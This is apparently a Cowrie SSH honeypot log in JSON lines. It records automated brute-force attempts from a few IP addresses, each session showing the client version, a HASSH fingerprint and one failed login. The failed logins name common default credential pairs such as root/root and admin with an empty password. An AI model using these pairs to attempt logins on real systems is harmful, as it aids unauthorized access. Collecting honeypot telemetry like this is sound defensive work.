{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:51.735334Z","src_ip":"45.156.87.253","session":"47b079389959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123321","message":"login attempt [www/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:51.980031Z","src_ip":"45.156.87.253","session":"47b079389959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:53.065631Z","src_ip":"45.156.87.253","session":"47b079389959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55074,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c9b63eae1d","protocol":"ssh","message":"New connection: 45.156.87.253:55074 (10.17.0.5:22) [session: 27c9b63eae1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:54.961220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:54.964647Z","src_ip":"45.156.87.253","session":"27c9b63eae1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:55.045175Z","src_ip":"45.156.87.253","session":"27c9b63eae1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:55.301478Z","src_ip":"45.156.87.253","session":"27c9b63eae1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:56.383886Z","src_ip":"45.156.87.253","session":"27c9b63eae1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":57398,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c07a57d4c1e","protocol":"ssh","message":"New connection: 189.190.244.176:57398 (10.17.0.5:22) [session: 6c07a57d4c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:56.470815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:56.473710Z","src_ip":"189.190.244.176","session":"6c07a57d4c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:56.546610Z","src_ip":"189.190.244.176","session":"6c07a57d4c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:56.874302Z","src_ip":"189.190.244.176","session":"6c07a57d4c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:57.950585Z","src_ip":"189.190.244.176","session":"6c07a57d4c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55088,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ca42fd6b8d1","protocol":"ssh","message":"New connection: 45.156.87.253:55088 (10.17.0.5:22) [session: 0ca42fd6b8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.340866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.387635Z","src_ip":"45.156.87.253","session":"0ca42fd6b8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.433987Z","src_ip":"45.156.87.253","session":"0ca42fd6b8d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":41720,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f28829662ea","protocol":"ssh","message":"New connection: 195.178.110.137:41720 (10.17.0.5:22) [session: 4f28829662ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.726581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.730221Z","src_ip":"195.178.110.137","session":"4f28829662ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.736260Z","src_ip":"45.156.87.253","session":"0ca42fd6b8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:58.828258Z","src_ip":"195.178.110.137","session":"4f28829662ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:59.092649Z","src_ip":"195.178.110.137","session":"4f28829662ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:59.818549Z","src_ip":"45.156.87.253","session":"0ca42fd6b8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:00.191862Z","src_ip":"195.178.110.137","session":"4f28829662ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"793e5a74c566","protocol":"ssh","message":"New connection: 45.156.87.253:34002 (10.17.0.5:22) [session: 793e5a74c566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:01.698382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:01.702292Z","src_ip":"45.156.87.253","session":"793e5a74c566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:01.782862Z","src_ip":"45.156.87.253","session":"793e5a74c566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:02.027688Z","src_ip":"45.156.87.253","session":"793e5a74c566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:03.258089Z","src_ip":"45.156.87.253","session":"793e5a74c566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34010,"dst_ip":"10.17.0.5","dst_port":22,"session":"e922f00d32b5","protocol":"ssh","message":"New connection: 45.156.87.253:34010 (10.17.0.5:22) [session: e922f00d32b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:05.050421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:05.057514Z","src_ip":"45.156.87.253","session":"e922f00d32b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:05.137823Z","src_ip":"45.156.87.253","session":"e922f00d32b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:05.380379Z","src_ip":"45.156.87.253","session":"e922f00d32b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:06.478334Z","src_ip":"45.156.87.253","session":"e922f00d32b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34018,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4fa27a922cb","protocol":"ssh","message":"New connection: 45.156.87.253:34018 (10.17.0.5:22) [session: e4fa27a922cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:08.481228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:08.485138Z","src_ip":"45.156.87.253","session":"e4fa27a922cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:08.565852Z","src_ip":"45.156.87.253","session":"e4fa27a922cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:08.814241Z","src_ip":"45.156.87.253","session":"e4fa27a922cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:09.965766Z","src_ip":"45.156.87.253","session":"e4fa27a922cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39034,"dst_ip":"10.17.0.5","dst_port":22,"session":"4464e4345406","protocol":"ssh","message":"New connection: 45.156.87.253:39034 (10.17.0.5:22) [session: 4464e4345406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:11.891380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:20:11.895620Z","src_ip":"45.156.87.253","session":"4464e4345406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.c